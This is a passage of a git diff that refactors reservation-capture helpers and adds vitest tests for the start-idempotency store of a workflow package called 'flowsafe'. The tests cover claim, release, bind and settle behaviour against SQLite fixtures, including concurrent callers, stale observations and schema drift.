missing'); + expect(claimed.state).toBe('started'); + expect(claimed.updatedAt).toBeGreaterThan(reserved.updatedAt); + return { ...h, store, reserved, claimed }; + } + + it('binds a real exact claim through atomic initial admission and returns its witness', async () => { + const h = await modernClaim(); + const admitted = await h.admit({ ...h.input, reservation: h.claimed }); + expect(admitted.witness.execution).toEqual(h.input.execution); + expect(h.rows()).toHaveLength(1); + expect((await h.store.readForAdmission('key'))?.binding).toEqual({ + kind: 'bound', + execution: h.input.execution, + }); + expect((await h.fence.read()).proofExecution).toEqual(h.input.execution); + expect(h.effects()).toBe(0); + }); + + it.each([ + 'reserved', + 'stale', + 'owner', + 'target', + 'thread', + ] as const)('refuses a %s observation without an initial row or binding', async (mode) => { + const h = await modernClaim(); + let reservation = h.claimed; + if (mode === 'reserved') reservation = h.reserved; + if (mode === 'stale') { + expect(await h.store.releaseReservation(h.claimed)).toBe(true); + const released = await h.store.readForAdmission('key'); + if (!released) throw new Error('released row is missing'); + expect(await h.store.claimReservation(released)).toBeDefined(); + } + if (mode === 'owner') + reservation = { ...reservation, owner: { ...OWNER, id: 'other' } }; + if (mode === 'target') reservation = { ...reservation, targetId: 'other' }; + if (mode === 'thread') reservation = { ...reservation, threadId: 'other' }; + const before = h.sql + .prepare('SELECT * FROM flowsafe_start_idempotency') + .all(); + const outcome = await h + .admit({ ...h.input, reservation }) + .catch((error: unknown) => error); + expect( + h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(), + ).toEqual(before); + expect(h.rows()).toEqual([]); + expect(outcome).toBeInstanceOf(Error); + expect((await h.fence.read()).proofExecution).toBeUndefined(); + expect(h.effects()).toBe(0); + }); +}); + describe('owned initial workflow admission', () => { it.each([ 'foreign fence binding', diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts index 9b2f50a4..c407b708 100644 --- a/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts +++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts @@ -65,6 +65,10 @@ import { StartReservationTargetMismatchError, validateStartReservationAdmissionSchema, } from './start-idempotency.js'; +import { + captureReservation, + sameReservationIdentity, +} from './start-reservation-contract.js'; import { validateTablePrefix } from './table-prefix.js'; import { decodeRawWorkflowSnapshotResult, @@ -146,52 +150,6 @@ function assertInitialSnapshot(value: unknown, runId: string): void { } } -function captureReservation( - value: StartReservationReading, -): StartReservationReading { - const { - key, - owner, - targetKind, - targetId, - runId, - threadId, - state, - createdAt, - updatedAt, - binding, - } = record(value); - const identity = normalizeStartIdentity({ - owner, - target: { kind: targetKind, id: targetId, threadId }, - }); - if ( - record(binding).kind !== 'unbound' || - state !== 'started' || - !isPathSafeId(key) || - !isPathSafeId(runId) || - typeof createdAt !== 'number' || - !Number.isFinite(createdAt) || - typeof updatedAt !== 'number' || - !Number.isFinite(updatedAt) - ) - throw new InvalidExecutionIdentityError('admission'); - return Object.freeze({ - key, - runId, - owner: identity.owner, - targetKind: identity.target.kind, - targetId: identity.target.id, - ...(identity.target.kind === 'agent' - ? { threadId: identity.target.threadId } - : {}), - state, - createdAt, - updatedAt, - binding: Object.freeze({ kind: 'unbound' as const }), - }); -} - function captureInitialProvenance(value: unknown) { const { version, @@ -280,7 +238,7 @@ function captureAdmission(source: InitialRunAdmission): InitialRunAdmission { const reservation = rawReservation === undefined ? undefined - : captureReservation(rawReservation); + : captureReservation(rawReservation, 'started'); if (reservation) { if (!startIdentity) throw new InvalidExecutionIdentityError('admission'); if ( @@ -388,15 +346,8 @@ function sameReservation( ): boolean { return ( actual !== undefined && - actual.key === expected.key && - actual.runId === expected.runId && - actual.owner.kind === expected.owner.kind && - actual.owner.id === expected.owner.id && - actual.targetKind === expected.targetKind && - actual.targetId === expected.targetId && - actual.threadId === expected.threadId && + sameReservationIdentity(actual, expected) && actual.state === expected.state && - actual.createdAt === expected.createdAt && actual.updatedAt === expected.updatedAt && (execution === undefined ? actual.binding.kind === expected.binding.kind diff --git a/packages/flowsafe/src/do-runner/start-idempotency.test.ts b/packages/flowsafe/src/do-runner/start-idempotency.test.ts index f3064e77..b21c158b 100644 --- a/packages/flowsafe/src/do-runner/start-idempotency.test.ts +++ b/packages/flowsafe/src/do-runner/start-idempotency.test.ts @@ -8,7 +8,7 @@ // row whose run is still readable — and each one asserts the EXPENSIVE // direction: that exactly one caller was told to start. -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { openSqlite, @@ -16,6 +16,11 @@ import { sqliteUnitDatabase, } from '../../test-support/sqlite.js'; import { doErrorResponse } from './do-error-response.js'; +import { + InvalidExecutionIdentityError, + RunAdmissionConflictError, + type StartExecutionIdentity, +} from './execution-admission.js'; import type { ExecutionFenceDatabase } from './execution-fence.js'; import { ExecutionFencedError, @@ -40,6 +45,7 @@ import { StartIdempotencyUnsupportedError, type StartReservation, StartReservationOwnerMismatchError, + type StartReservationReading, StartReservationTargetMismatchError, StartReservationUnreadableError, validateStartReservationAdmissionSchema, @@ -48,6 +54,1115 @@ import { const OWNER = { kind: 'human', id: 'operator-1' } as const; const OTHER_OWNER = { kind: 'human', id: 'operator-2' } as const; +describe('FS8 D2 dormant reservation primitives', () => { + const execution: StartExecutionIdentity = { + tablePrefix: '', + workflowId: 'payout', + runId: 'run', + startToken: 'generation', + owner: OWNER, + target: { kind: 'workflow', id: 'payout' }, + }; + const methods = [ + 'claimReservation', + 'releaseReservation', + 'associateReservation', + 'bindPreparedStart', + ] as const; + type Method = (typeof methods)[number]; + + async function modern(state: 'reserved' | 'started' = 'reserved') { + const h = harness(); + const reserved = await h.store.reserve(workflowRequest('key', 'run')); + expect(reserved.reservation.binding).toEqual({ kind: 'legacy' }); + expect(rows(h.sqlite)[0]).toMatchObject(legacyBinding); + h.sqlite + .prepare( + "UPDATE flowsafe_start_idempotency SET state = ?, start_token = ''", + ) + .run(state); + const observed = await h.store.readForAdmission('key'); + if (!observed) throw new Error('modern fixture is missing'); + return { ...h, observed }; + } + + function invoke( + store: StartIdempotencyStore, + method: Method, + observed: StartReservationReading, + identity = execution, + ) { + return method === 'claimReservation' || method === 'releaseReservation' + ? store[method](observed) + : store[method](observed, identity); + } + + const stateFor = (method: Method) => + method === 'claimReservation' ? 'reserved' : 'started'; + const bindingFor = (identity = execution) => ({ + kind: 'bound' as const, + execution: { + tablePrefix: identity.tablePrefix, + workflowId: identity.workflowId, + runId: identity.runId, + startToken: identity.startToken, + }, + }); + + it('returns exactly one own claim receipt for simultaneous equal-stamp contenders', async () => { + const h = await modern(); + const claims = await Promise.all([ + h.store.claimReservation(h.observed), + new StartIdempotencyStore(h.binding, { + now: () => 1_000, + }).claimReservation(h.observed), + ]); + expect(claims.filter(Boolean)).toHaveLength(1); + const winner = claims.find(Boolean); + if (!winner) throw new Error('winning claim is missing'); + expect(winner).toEqual({ + ...h.observed, + state: 'started', + updatedAt: 1_001, + }); + expect(Object.isFrozen(winner)).toBe(true); + expect(Object.isFrozen(winner?.owner)).toBe(true); + expect(Object.isFrozen(winner?.binding)).toBe(true); + expect(await h.store.releaseReservation(winner)).toBe(true); + expect(rows(h.sqlite)[0]).toMatchObject({ + state: 'reserved', + updated_at: 1_002, + }); + }); + + it('returns one successful release for simultaneous callers holding the same claim', async () => { + const h = await modern('started'); + await expect( + Promise.all([ + h.store.releaseReservation(h.observed), + h.store.releaseReservation(h.observed), + ]), + ).resolves.toEqual([true, false]); + expect(rows(h.sqlite)[0]).toMatchObject({ + state: 'reserved', + updated_at: 1_001, + }); + }); + + it.each([ + 1_000, 100, + ])('rejects stale release and claim observations through an ABA cycle at clock %s', async (clock) => { + const h = await modern(); + const store = new StartIdempotencyStore(h.binding, { now: () => clock }); + const first = await store.claimReservation(h.observed); + if (!first) throw new Error('first claim is missing'); + expect(await store.releaseReservation(first)).toBe(true); + const released = await store.readForAdmission('key'); + if (!released) throw new Error('released row is missing'); + const second = await store.claimReservation(released); + if (!second) throw new Error('second claim is missing'); + const before = rows(h.sqlite); + const staleRelease = await store + .releaseReservation(first) + .catch((error: unknown) => error); + expect(rows(h.sqlite)).toEqual(before); + expect(staleRelease).toBe(false); + expect(first.updatedAt).toBe(1_001); + expect(released.updatedAt).toBe(1_002); + expect(second.updatedAt).toBe(1_003); + expect(await store.claimReservation(h.observed)).toBeUndefined(); + expect(await store.releaseReservation(second)).toBe(true); + const staleClaim = await store + .claimReservation(released) + .catch((error: unknown) => error); + expect(rows(h.sqlite)[0]).toMatchObject({ + state: 'reserved', + updated_at: 1_004, + }); + expect(staleClaim).toBeUndefined(); + }); + + it.each([ + 'claimReservation', + 'releaseReservation', + ] as const)('%s refuses invalid or exhausted clocks before preparing SQL', async (method) => { + const h = await modern(stateFor(method)); + for (const [clock, updatedAt] of [ + [Number.NaN, 1_000], + [Number.POSITIVE_INFINITY, 1_000], + [Number.NEGATIVE_INFINITY, 1_000], + [1_000, Number.MAX_VALUE], + [1_000, 2 ** 54], + ] as const) { + const prepare = vi.fn(h.binding.prepare.bind(h.binding)); + const now = vi.fn(() => clock); + const store = new StartIdempotencyStore({ prepare }, { now }); + await expect( + store[method]({ ...h.observed, updatedAt }), + ).rejects.toBeInstanceOf(StartReservationUnreadableError); + expect(now).toHaveBeenCalledTimes(1); + expect(prepare).not.toHaveBeenCalled(); + } + const store = new StartIdempotencyStore(h.binding, { now: () => 1e100 }); + h.sqlite + .prepare('UPDATE flowsafe_start_idempotency SET updated_at = ?') + .run(2 ** 54); + const outcome = await store[method]({ ...h.observed, updatedAt: 2 ** 54 }); + expect(outcome).toBeTruthy(); + expect(rows(h.sqlite)[0]?.updated_at).toBe(1e100); + }); + + it.each( + methods, + )('%s preserves every rewritten observation field before reporting a miss', async (method) => { + for (const change of [ + "key = 'replacement'", + "run_id = 'replacement'", + "owner_kind = 'service'", + "owner_id = 'replacement'", + "target_kind = 'agent', thread_id = 'thread'", + "target_id = 'replacement'", + "thread_id = 'replacement'", + 'created_at = created_at + 1', + 'updated_at = updated_at + 1', + "state = 'terminal'", + ]) { + const h = await modern(stateFor(method)); + h.sqlite.exec(`UPDATE flowsafe_start_idempotency SET ${change}`); + const before = rows(h.sqlite); + const outcome = await invoke(h.store, method, h.observed).catch( + (error: unknown) => error, + ); + expect(rows(h.sqlite), change).toEqual(before); + if (method === 'claimReservation') + expect(outcome, change).toBeUndefined(); + else if (method === 'releaseReservation') + expect(outcome, change).toBe(false); + else if ( + method === 'associateReservation' && + change.startsWith('thread_id') + ) + expect(outcome).toBeInstanceOf(StartReservationUnreadableError); + else expect(outcome, change).toBeInstanceOf(RunAdmissionConflictError); + } + }); + + it.each( + methods, + )('%s preserves each independently changed unbound column before reporting failure', async (method) => { + for (const change of [ + "start_token = 'other'", + "start_table_prefix = ''", + "start_workflow_id = 'payout'", + 'start_token = NULL', + ]) { + const h = await modern(stateFor(method)); + h.sqlite.exec(`UPDATE flowsafe_start_idempotency SET ${change}`); + const before = rows(h.sqlite); + const outcome = await invoke(h.store, method, h.observed).catch( + (error: unknown) => error, + ); + expect(rows(h.sqlite), change).toEqual(before); + if (method === 'claimReservation') expect(outcome).toBeUndefined(); + else if (method === 'releaseReservation') expect(outcome).toBe(false); + else + expect(outcome).toBeInstanceOf( + method === 'associateReservation' && change !== 'start_token = NULL' + ? StartReservationUnreadableError + : RunAdmissionConflictError, + ); + } + }); + + it.each( + methods, + )('%s refuses legacy, bound, terminal and wrong-state observations before I/O', async (method) => { + const h = await modern(stateFor(method)); + const prepare = vi.fn(h.binding.prepare.bind(h.binding)); + const store = new StartIdempotencyStore({ prepare }); + const invalid: StartReservationReading[] = [ + { ...h.observed, binding: { kind: 'legacy' } }, + { + ...h.observed, + binding: bindingFor(), + }, + { ...h.observed, state: 'terminal' }, + { ...h.observed, key: 'bad/key' }, + { ...h.observed, targetId: 'bad/target' }, + { ...h.observed, createdAt: Number.NaN }, + { ...h.observed, updatedAt: Number.POSITIVE_INFINITY }, + ]; + if (method !== 'associateReservation') + invalid.push({ + ...h.observed, + state: method === 'claimReservation' ? 'started' : 'reserved', + }); + for (const observed of invalid) + await expect(invoke(store, method, observed)).rejects.toBeInstanceOf( + InvalidExecutionIdentityError, + ); + expect(prepare).not.toHaveBeenCalled(); + }); + + it.each( + methods, + )('%s captures caller getters, nested identities and clock before held schema I/O', async (method) => { + const h = await modern(stateFor(method)); + let resume!: () => void; + const held = new Promise((resolve) => { + resume = resolve; + }); + const original = structuredClone(h.observed); + const identity = structuredClone(execution); + const counts = new Map(); + function getters(source: T, prefix: string): T { + return Object.defineProperties( + {}, + Object.fromEntries( + Object.keys(source).map((key) => [ + key, + { + enumerable: true, + get() { + const name = `${prefix}.${key}`; + counts.set(name, (counts.get(name) ?? 0) + 1); + return source[key as keyof T]; + }, + }, + ]), + ), + ) as T; + } + const observationSource = { + ...original, + owner: getters(original.owner, 'owner'), + binding: getters(original.binding, 'binding'), + }; + const observation = getters(observationSource, 'reservation'); + const executionSource = { + ...identity, + owner: getters(identity.owner, 'execution.owner'), + target: getters(identity.target, 'execution.target'), + }; + const supplied = getters(executionSource, 'execution'); + let clock = 2_000; + const now = vi.fn(() => clock); + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + if (sql.startsWith('PRAGMA')) await held; + return execute(); + }), + { now }, + ); + const operation = invoke(store, method, observation, supplied); + Object.assign(original.owner, { kind: 'service', id: 'changed' }); + Object.assign(original.binding, { kind: 'legacy' }); + Object.assign(identity.owner, { kind: 'service', id: 'changed' }); + Object.assign(identity.target, { + kind: 'agent', + id: 'changed', + threadId: 'changed', + }); + Object.assign(observationSource, { + key: 'changed', + runId: 'changed', + targetKind: 'agent', + targetId: 'changed', + threadId: 'changed', + state: 'terminal', + createdAt: 77, + updatedAt: 88, + }); + Object.assign(executionSource, { + workflowId: 'changed', + runId: 'changed', + startToken: 'changed', + tablePrefix: 'changed_', + }); + clock = 9_000; + resume(); + await expect(operation).resolves.toBeTruthy(); + expect(rows(h.sqlite)[0]).toMatchObject({ + owner_id: OWNER.id, + target_id: 'payout', + updated_at: + method === 'claimReservation' || method === 'releaseReservation' + ? 2_000 + : 1_000, + start_token: + method === 'claimReservation' || method === 'releaseReservation' + ? '' + : 'generation', + }); + expect([...counts.values()].every((count) => count === 1)).toBe(true); + expect(now).toHaveBeenCalledTimes( + method === 'claimReservation' || method === 'releaseReservation' ? 1 : 0, + ); + }); + + it.each([ + 'claimReservation', + 'releaseReservation', + ] as const)('%s never recovers or retries a thrown UPDATE', async (method) => { + for (const executeFirst of [false, true]) { + const h = await modern(stateFor(method)); + const sqlSeen: string[] = []; + const cause = new Error('lost response'); + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + sqlSeen.push(sql); + if (sql.startsWith('UPDATE')) { + if (executeFirst) await execute(); + else if (method === 'claimReservation') + await h.store.claimReservation(h.observed); + throw cause; + } + return execute(); + }), + { now: () => 1_000 }, + ); + await expect(store[method](h.observed)).rejects.toMatchObject({ cause }); + expect(sqlSeen.filter((sql) => sql.startsWith('UPDATE'))).toHaveLength(1); + expect(sqlSeen.some((sql) => sql.startsWith('SELECT'))).toBe(false); + expect(rows(h.sqlite)[0]).toMatchObject({ + state: + executeFirst && method === 'releaseReservation' + ? 'reserved' + : 'started', + updated_at: + executeFirst || method === 'claimReservation' ? 1_001 : 1_000, + }); + } + }); + + it('preserves a bound row when a delayed old release arrives', async () => { + const h = await modern('started'); + await h.store.bindPreparedStart(h.observed, execution); + const before = rows(h.sqlite); + const outcome = await h.store + .releaseReservation(h.observed) + .catch((error: unknown) => error); + expect(rows(h.sqlite)).toEqual(before); + expect(outcome).toBe(false); + }); + + it.each([ + 'associateReservation', + 'bindPreparedStart', + ] as const)('%s binds canonical D1 and explicit custom namespaces without clock or snapshot access', async (method) => { + for (const tablePrefix of ['', 'APP_', null]) { + const h = await modern('started'); + const now = vi.fn(() => { + throw new Error('binding must not read a clock'); + }); + const queries: string[] = []; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + queries.push(sql); + return execute(); + }), + { now }, + ); + await expect( + store[method](h.observed, { ...execution, tablePrefix }), + ).resolves.toEqual({ + ...h.observed, + binding: bindingFor({ + ...execution, + tablePrefix: tablePrefix?.toLowerCase() ?? null, + }), + }); + expect(now).not.toHaveBeenCalled(); + expect(queries).toHaveLength(2); + expect(queries[0]).toContain( + 'PRAGMA table_xinfo(flowsafe_start_idempotency)', + ); + expect(queries[1]).toContain('UPDATE flowsafe_start_idempotency'); + } + }); + + it.each([ + 'associateReservation', + 'bindPreparedStart', + ] as const)('%s validates root introduction in owner-first order while permitting agent wrappers', async (method) => { + const h = await modern('started'); + const prepare = vi.fn(h.binding.prepare.bind(h.binding)); + const store = new StartIdempotencyStore({ prepare }); + const cases: Array< + [ + StartExecutionIdentity, + ( + | typeof StartReservationOwnerMismatchError + | typeof StartReservationTargetMismatchError + | typeof InvalidExecutionIdentityError + ), + ] + > = [ + [ + { + ...execution, + owner: OTHER_OWNER, + target: { kind: 'workflow', id: 'other' }, + }, + StartReservationOwnerMismatchError, + ], + [ + { ...execution, target: { kind: 'workflow', id: 'other' } }, + StartReservationTargetMismatchError, + ], + [ + { + ...execution, + target: { kind: 'agent', id: 'payout', threadId: 'thread' }, + }, + StartReservationTargetMismatchError, + ], + [{ ...execution, runId: 'other' }, InvalidExecutionIdentityError], + [{ ...execution, workflowId: 'child' }, InvalidExecutionIdentityError], + ]; + for (const [identity, error] of cases) + await expect(store[method](h.observed, identity)).rejects.toBeInstanceOf( + error, + ); + expect(prepare).not.toHaveBeenCalled(); + h.sqlite.exec( + "UPDATE flowsafe_start_idempotency SET target_kind = 'agent', thread_id = 'thread'", + ); + const observed = await h.store.readForAdmission('key'); + if (!observed) throw new Error('agent reservation is missing'); + const agent: StartExecutionIdentity = { + ...execution, + workflowId: 'trusted-wrapper', + target: { kind: 'agent', id: 'payout', threadId: 'thread' }, + }; + await expect( + store[method](observed, { + ...agent, + target: { ...agent.target, threadId: 'other' }, + } as StartExecutionIdentity), + ).rejects.toBeInstanceOf(InvalidExecutionIdentityError); + expect(prepare).not.toHaveBeenCalled(); + await expect(store[method](observed, agent)).resolves.toMatchObject({ + binding: bindingFor(agent), + }); + }); + + it.each([ + 'reserved', + 'started', + 'terminal', + ] as const)('alias lost-receipt convergence accepts S1 %s advancement without restamping', async (state) => { + const h = await modern(); + const queries: string[] = []; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + queries.push(sql); + const result = await execute(); + if (sql.startsWith('UPDATE')) { + h.sqlite + .prepare( + 'UPDATE flowsafe_start_idempotency SET state = ?, updated_at = ?', + ) + .run(state, 4_000); + throw new Error('lost alias receipt'); + } + return result; + }), + { now: () => 9_000 }, + ); + await expect( + store.associateReservation(h.observed, execution), + ).resolves.toEqual({ + ...h.observed, + state, + updatedAt: 4_000, + binding: bindingFor(), + }); + expect(rows(h.sqlite)[0]?.updated_at).toBe(4_000); + expect(queries.filter((sql) => sql.startsWith('UPDATE'))).toHaveLength(1); + expect(queries.filter((sql) => sql.startsWith('SELECT'))).toHaveLength(1); + }); + + it('associates the same S1 result after its snapshot disappears without reading a replacement result', async () => { + const h = await modern(); + h.sqlite.exec('CREATE TABLE result_fixture (token TEXT, result TEXT)'); + h.sqlite + .prepare('INSERT INTO result_fixture VALUES (?, ?)') + .run('generation', 'original-result'); + const readResult = vi.fn(() => + h.sqlite.prepare('SELECT * FROM result_fixture').get(), + ); + const found = readResult(); + h.sqlite.exec( + "DELETE FROM result_fixture; INSERT INTO result_fixture VALUES ('replacement', 'replacement-result')", + ); + const queries: string[] = []; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + queries.push(sql); + return execute(); + }), + ); + await expect( + store.associateReservation(h.observed, execution), + ).resolves.toMatchObject({ binding: bindingFor() }); + expect(found).toEqual({ token: 'generation', result: 'original-result' }); + expect(readResult).toHaveBeenCalledTimes(1); + expect(queries).toHaveLength(2); + expect(rows(h.sqlite)[0]?.updated_at).toBe(h.observed.updatedAt); + }); + + it.each([ + 'known-zero', + 'lost-receipt', + ] as const)('alias %s converges only the same immutable identity and complete binding', async (mode) => { + for (const change of [ + '', + "start_token = 'replacement'", + "start_table_prefix = 'other_'", + "start_workflow_id = 'other'", + "owner_id = 'other'", + 'created_at = created_at + 1', + "start_token = '', start_table_prefix = NULL, start_workflow_id = NULL", + 'start_token = NULL, start_table_prefix = NULL, start_workflow_id = NULL', + 'DELETE', + 'DROP', + "thread_id = 'bad/thread'", + ]) { + const h = await modern('started'); + const cause = new Error('lost alias write'); + let reads = 0; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + if (sql.startsWith('SELECT')) reads += 1; + if (!sql.startsWith('UPDATE')) return execute(); + await execute(); + if (change === 'DELETE') + h.sqlite.exec('DELETE FROM flowsafe_start_idempotency'); + else if (change === 'DROP') + h.sqlite.exec('DROP TABLE flowsafe_start_idempotency'); + else if (change) + h.sqlite.exec(`UPDATE flowsafe_start_idempotency SET ${change}`); + if (mode === 'lost-receipt') throw cause; + return { results: [] }; + }), + ); + if (!change) + await expect( + store.associateReservation(h.observed, execution), + ).resolves.toMatchObject({ binding: bindingFor() }); + else if (mode === 'lost-receipt') + await expect( + store.associateReservation(h.observed, execution), + ).rejects.toMatchObject({ cause }); + else + await expect( + store.associateReservation(h.observed, execution), + ).rejects.toBeInstanceOf( + change === 'DROP' || change.startsWith('thread_id') + ? StartReservationUnreadableError + : RunAdmissionConflictError, + ); + expect(reads).toBe(1); + } + }); + + it('prepared known-zero never reads back another caller claim', async () => { + const h = await modern('started'); + await h.store.bindPreparedStart(h.observed, execution); + const queries: string[] = []; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + queries.push(sql); + return execute(); + }), + ); + await expect( + store.bindPreparedStart(h.observed, execution), + ).rejects.toBeInstanceOf(RunAdmissionConflictError); + expect(queries.some((sql) => sql.startsWith('SELECT'))).toBe(false); + expect(queries.filter((sql) => sql.startsWith('UPDATE'))).toHaveLength(1); + }); + + it.each([ + '', + "state = 'terminal'", + "state = 'reserved'", + 'updated_at = updated_at + 1', + 'created_at = created_at + 1', + "start_token = 'other'", + "start_table_prefix = 'other_'", + "start_workflow_id = 'other'", + "owner_id = 'other'", + "target_id = 'other'", + "run_id = 'other'", + ])('prepared lost-receipt readback requires the exact original claim: %s', async (change) => { + const h = await modern('started'); + const cause = new Error('lost prepared receipt'); + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + const result = await execute(); + if (sql.startsWith('UPDATE')) { + if (change) + h.sqlite.exec(`UPDATE flowsafe_start_idempotency SET ${change}`); + throw cause; + } + return result; + }), + ); + if (change) + await expect( + store.bindPreparedStart(h.observed, execution), + ).rejects.toMatchObject({ cause }); + else + await expect( + store.bindPreparedStart(h.observed, execution), + ).resolves.toEqual({ ...h.observed, binding: bindingFor() }); + }); + + it.each( + methods, + )('%s rejects malformed RETURNING envelopes without readback', async (method) => { + const corruptions: Array< + [string, (row: Record) => unknown] + > = [ + ['failed', (row) => ({ success: false, results: [row] })], + ['missing results', () => ({ meta: { changes: 1 } })], + ['nonarray', (row) => ({ results: { 0: row, length: 1 } })], + ['sparse', () => ({ results: new Array(1) })], + [ + 'inherited', + (row) => ({ + results: Object.setPrototypeOf( + new Array(1), + Object.assign(Object.create(Array.prototype), { 0: row }), + ), + }), + ], + [ + 'iterator', + (row) => ({ + results: Object.assign([null], { + *[Symbol.iterator]() { + yield row; + }, + }), + }), + ], + ['multiple', (row) => ({ results: [row, row] })], + [ + 'missing column', + (row) => ({ + results: [ + Object.fromEntries( + Object.entries(row).filter(([key]) => key !== 'created_at'), + ), + ], + }), + ], + ...Object.entries({ + key: 'other', + run_id: 'other', + owner_id: 'other', + target_id: 'other', + created_at: 2, + updated_at: 2, + state: 'terminal', + start_token: 'other', + target_kind: 'unknown', + thread_id: 'bad/thread', + }).map( + ([key, value]) => + [ + key, + (row: Record) => ({ + results: [{ ...row, [key]: value }], + }), + ] as [string, (row: Record) => unknown], + ), + ]; + for (const [name, corrupt] of corruptions) { + const h = await modern(stateFor(method)); + let reads = 0; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + if (sql.startsWith('SELECT')) reads += 1; + const result = (await execute()) as { + results: Array>; + }; + if (!sql.startsWith('UPDATE')) return result; + const row = result.results[0]; + if (!row) throw new Error('successful mutation row is missing'); + return corrupt(row); + }), + { now: () => 1_000 }, + ); + await expect( + invoke(store, method, h.observed), + name, + ).rejects.toBeInstanceOf(StartReservationUnreadableError); + expect(reads, name).toBe(0); + } + }); + + it.each( + methods, + )('%s captures each successful RETURNING field once', async (method) => { + const h = await modern(stateFor(method)); + const counts = new Map(); + const once = (key: string, value: unknown) => ({ + get() { + const count = (counts.get(key) ?? 0) + 1; + counts.set(key, count); + if (count > 1) throw new Error(`reread ${key}`); + return value; + }, + enumerable: true, + }); + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + const result = (await execute()) as { + results: Array>; + }; + if (!sql.startsWith('UPDATE')) return result; + const returnedRow = result.results[0]; + if (!returnedRow) throw new Error('successful mutation row is missing'); + const row = Object.defineProperties( + {}, + Object.fromEntries( + Object.entries(returnedRow).map(([key, value]) => [ + key, + once(key, value), + ]), + ), + ); + const returned: unknown[] = []; + Object.defineProperty(returned, 0, once('slot', row)); + return Object.defineProperties( + {}, + { + success: once('success', true), + results: once('results', returned), + }, + ); + }), + { now: () => 1_000 }, + ); + await expect(invoke(store, method, h.observed)).resolves.toBeTruthy(); + expect(counts.size).toBe(16); + expect([...counts.values()].every((count) => count === 1)).toBe(true); + }); + + it.each( + methods, + )('%s requires the current schema without running readiness', async (method) => { + for (const stage of [0, 1, 2, 3, -1]) { + const h = await modern(stateFor(method)); + if (stage === -1) h.sqlite.exec('DROP TABLE flowsafe_start_idempotency'); + else if (stage < 3) + for (const column of bindingColumns.slice(stage).reverse()) + h.sqlite.exec( + `ALTER TABLE flowsafe_start_idempotency DROP COLUMN ${column}`, + ); + else + h.sqlite.exec( + 'ALTER TABLE flowsafe_start_idempotency ADD COLUMN unexpected TEXT', + ); + const ready = vi.fn(async () => {}); + const queries: string[] = []; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + queries.push(sql); + return execute(); + }), + { ready, now: () => 1_000 }, + ); + await expect(invoke(store, method, h.observed)).rejects.toBeInstanceOf( + StartReservationUnreadableError, + ); + expect(ready).not.toHaveBeenCalled(); + expect(queries).toHaveLength(1); + expect(queries[0]).toMatch(/^PRAGMA/); + } + }); + + it('settles both aliases of one full execution and preserves every neighboring execution before checking outcome', async () => { + const h = await modern('started'); + await h.store.bindPreparedStart(h.observed, execution); + const insert = h.sqlite.prepare( + `INSERT INTO flowsafe_start_idempotency SELECT ?, owner_kind, owner_id, target_kind, target_id, run_id, thread_id, state, created_at, updated_at, start_token, start_table_prefix, start_workflow_id FROM flowsafe_start_idempotency WHERE key = 'key'`, + ); + insert.run('alias'); + const neighbors = [ + "run_id = 'other'", + "start_token = 'other'", + "start_table_prefix = 'other_'", + 'start_table_prefix = NULL', + "start_workflow_id = 'other'", + "owner_kind = 'service'", + "owner_id = 'other'", + "target_kind = 'agent', thread_id = 'thread'", + "target_id = 'other'", + "thread_id = 'other'", + "start_token = '', start_table_prefix = NULL, start_workflow_id = NULL", + 'start_token = NULL, start_table_prefix = NULL, start_workflow_id = NULL', + ]; + for (const [index, change] of neighbors.entries()) { + insert.run(`neighbor-${index}`); + h.sqlite.exec( + `UPDATE flowsafe_start_idempotency SET ${change} WHERE key = 'neighbor-${index}'`, + ); + } + const before = rows(h.sqlite).filter((row) => + String(row.key).startsWith('neighbor-'), + ); + const store = new StartIdempotencyStore(h.binding, { now: () => 500 }); + const outcome = await store + .settleExecution(execution) + .catch((error: unknown) => error); + expect( + rows(h.sqlite).filter((row) => String(row.key).startsWith('neighbor-')), + ).toEqual(before); + expect(outcome).toBe(2); + expect( + rows(h.sqlite).filter((row) => row.key === 'key' || row.key === 'alias'), + ).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + key: 'key', + state: 'terminal', + updated_at: 500, + }), + expect.objectContaining({ + key: 'alias', + state: 'terminal', + updated_at: 500, + }), + ]), + ); + expect( + await new StartIdempotencyStore(h.binding, { + now: () => 9_000, + }).settleExecution(execution), + ).toBe(0); + expect(rows(h.sqlite)[0]?.updated_at).toBe(500); + }); + + it('settles explicit null and inherited child identities without a root classifier', async () => { + const h = await modern('started'); + h.sqlite.exec( + "UPDATE flowsafe_start_idempotency SET start_token = 'generation', start_workflow_id = 'child'", + ); + const inherited = { ...execution, workflowId: 'child', tablePrefix: null }; + expect( + await h.store.settleExecution({ ...inherited, tablePrefix: '' }), + ).toBe(0); + expect(await h.store.settleExecution(inherited)).toBe(1); + expect(rows(h.sqlite)[0]).toMatchObject({ + state: 'terminal', + start_table_prefix: null, + start_workflow_id: 'child', + }); + }); + + it('settlement captures its execution and finite clock before I/O and permits only genuine table absence', async () => { + const h = await modern('started'); + await h.store.bindPreparedStart(h.observed, execution); + let resume!: () => void; + const held = new Promise((resolve) => { + resume = resolve; + }); + const identity = structuredClone(execution); + let clock = 3_000; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + if (sql.startsWith('PRAGMA')) await held; + return execute(); + }), + { now: () => clock }, + ); + const settling = store.settleExecution(identity); + Object.assign(identity, { workflowId: 'other', startToken: 'other' }); + Object.assign(identity.owner, { id: 'other' }); + Object.assign(identity.target, { id: 'other' }); + clock = 9_000; + resume(); + await expect(settling).resolves.toBe(1); 